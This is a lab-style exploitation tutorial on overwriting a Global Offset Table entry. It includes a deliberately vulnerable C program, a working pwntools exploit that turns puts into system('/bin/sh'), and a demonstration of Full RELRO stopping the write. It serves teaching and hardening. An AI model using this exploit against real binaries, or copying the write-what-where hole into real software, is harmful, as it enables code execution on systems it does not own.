Hijacking the GOT: Redirecting a libc Call
Lazy binding leaves the Global Offset Table writable. Aim an arbitrary write at a GOT entry, turn puts() into system(), then enable Full RELRO and watch the same write fault instantly.
This is the fifth walkthrough in the Exploitation Techniques area. The format-string guide gave us an arbitrary write but pointed it at a placeholder. Here we choose the highest-value target for a single write: the Global Offset Table. Overwriting one GOT entry redirects a library call to a function of our choosing — and this is the technique that finally makes RELRO matter.
Same rules as ever: our own binary, disposable lab. See the lab rules.
How the PLT and GOT work
Calls to imported functions like puts do not jump straight into libc. They jump to a small stub in the PLT (Procedure Linkage Table), which reads the function's real address from the corresponding GOT (Global Offset Table) entry and jumps there.
call puts@pltthe call siteputs@plt stubreads the GOT entry[puts@got]writable pointer — the overwrite targetputs in libcthe real functionWith lazy binding, puts@got is filled in on first call, so the table is writable at runtime. If we can write to puts@got, we replace the address of puts with the address of system. The program's next puts(user_controlled) becomes system(user_controlled).
The target
A program with a clean arbitrary-write primitive and a later library call we can hijack:
/* vuln.c — a write-what-where, then a puts() we can redirect. */
#include <stdio.h>
#include <string.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned long addr, value;
char line[128];
/* Arbitrary write primitive (stands in for a real bug). */
if (scanf("%lx %lx", &addr, &value) != 2) return 1;
*(unsigned long *)addr = value; /* write-what-where */
/* Later, a library call we can hijack; its argument is attacker data. */
fgets(line, sizeof line, stdin);
puts(line); /* becomes system(line) after the overwrite */
return 0;
}
Build it with Partial RELRO (the common default) so the GOT is writable:
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c
$ checksec --file=./vuln
RELRO: Partial RELRO ← GOT is writable
PIE: No PIE (0x400000) ← GOT entry at a fixed address
The exploit
One write swaps puts for system; then we send /bin/sh as the "string to print".
# exploit.py
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
# In a -no-pie binary these are fixed, known addresses:
puts_got = elf.got["puts"]
system_plt = elf.plt["system"] # system is imported here, so it has a PLT stub
# 1) write system's address over the puts GOT entry
io.sendline(f"{puts_got:x} {system_plt:x}".encode())
# 2) the next puts(line) now calls system(line)
io.sendline(b"/bin/sh")
io.interactive()
$ python3 exploit.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
When main reaches puts(line), the PLT stub reads the (now poisoned) GOT entry and jumps to system instead, with line — "/bin/sh" — as its argument.
If
systemis not already imported, you cannot useelf.plt["system"]. Then you overwrite the GOT entry with a libc address you computed from a leak — e.g. writelibc.symbols["system"]overputs@got. The principle is identical; only the source of the target address changes.
Other high-value GOT targets
atoi@got,strlen@got,printf@got— any imported function whose argument the attacker controls at call time.- On older glibc,
__free_hook/__malloc_hookwere popular equivalents (removed in glibc 2.34+). - The
.fini_array/__exit_funcspath, hijacked so the redirect fires at program exit.
Turn the mitigation back on: Full RELRO
This is the one guide in the series where a single flag closes the technique cleanly.
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c
$ checksec --file=./vuln_full
RELRO: Full RELRO
Run exploit.py against vuln_full:
[*] Process './vuln_full' stopped with exit code -11 (SIGSEGV)
The write to puts_got now hits a read-only page and faults instantly. Full RELRO makes the loader resolve every import at startup, then remaps the whole GOT read-only before main runs. There is nothing writable left to poison.
| Build | RELRO | GOT overwrite result |
|---|---|---|
-z relro -z lazy | Partial | Write lands; puts → system |
-z relro -z now | Full | Write faults: GOT is read-only |
The cost is a slightly slower startup (all symbols resolved eagerly). For anything security-sensitive that is a trivial price — see binary hardening flags.
What this teaches a defender
- Full RELRO is not optional for exposed binaries. It converts an entire class of "arbitrary write → code execution" into an immediate crash. Confirm
checksecreportsFull RELRO, notPartial. - RELRO is specific. It protects the GOT. It does nothing about a return-address overwrite (ret2win), a ret2libc chain, or a hijacked
.fini_arrayif that lives elsewhere. Layer it with a canary, PIE and a shadow stack. - The GOT is a fixed target only without PIE. PIE randomizes the GOT's location too, so a GOT overwrite then also needs a leak first. Ship both PIE and Full RELRO.
Key takeaways
- Imported calls route through the PLT, which reads the function's real address from the writable GOT.
- One arbitrary write to a GOT entry redirects the next call — e.g.
puts→system("/bin/sh"). - A GOT entry is a fixed, easy target in a
-no-piebinary and needs no stack control, only a write primitive. - Full RELRO (
-z relro -z now) remaps the GOT read-only and turns the overwrite into an instant crash.
Next: heap exploitation with tcache and use-after-free, where the write primitive comes from the allocator's own metadata.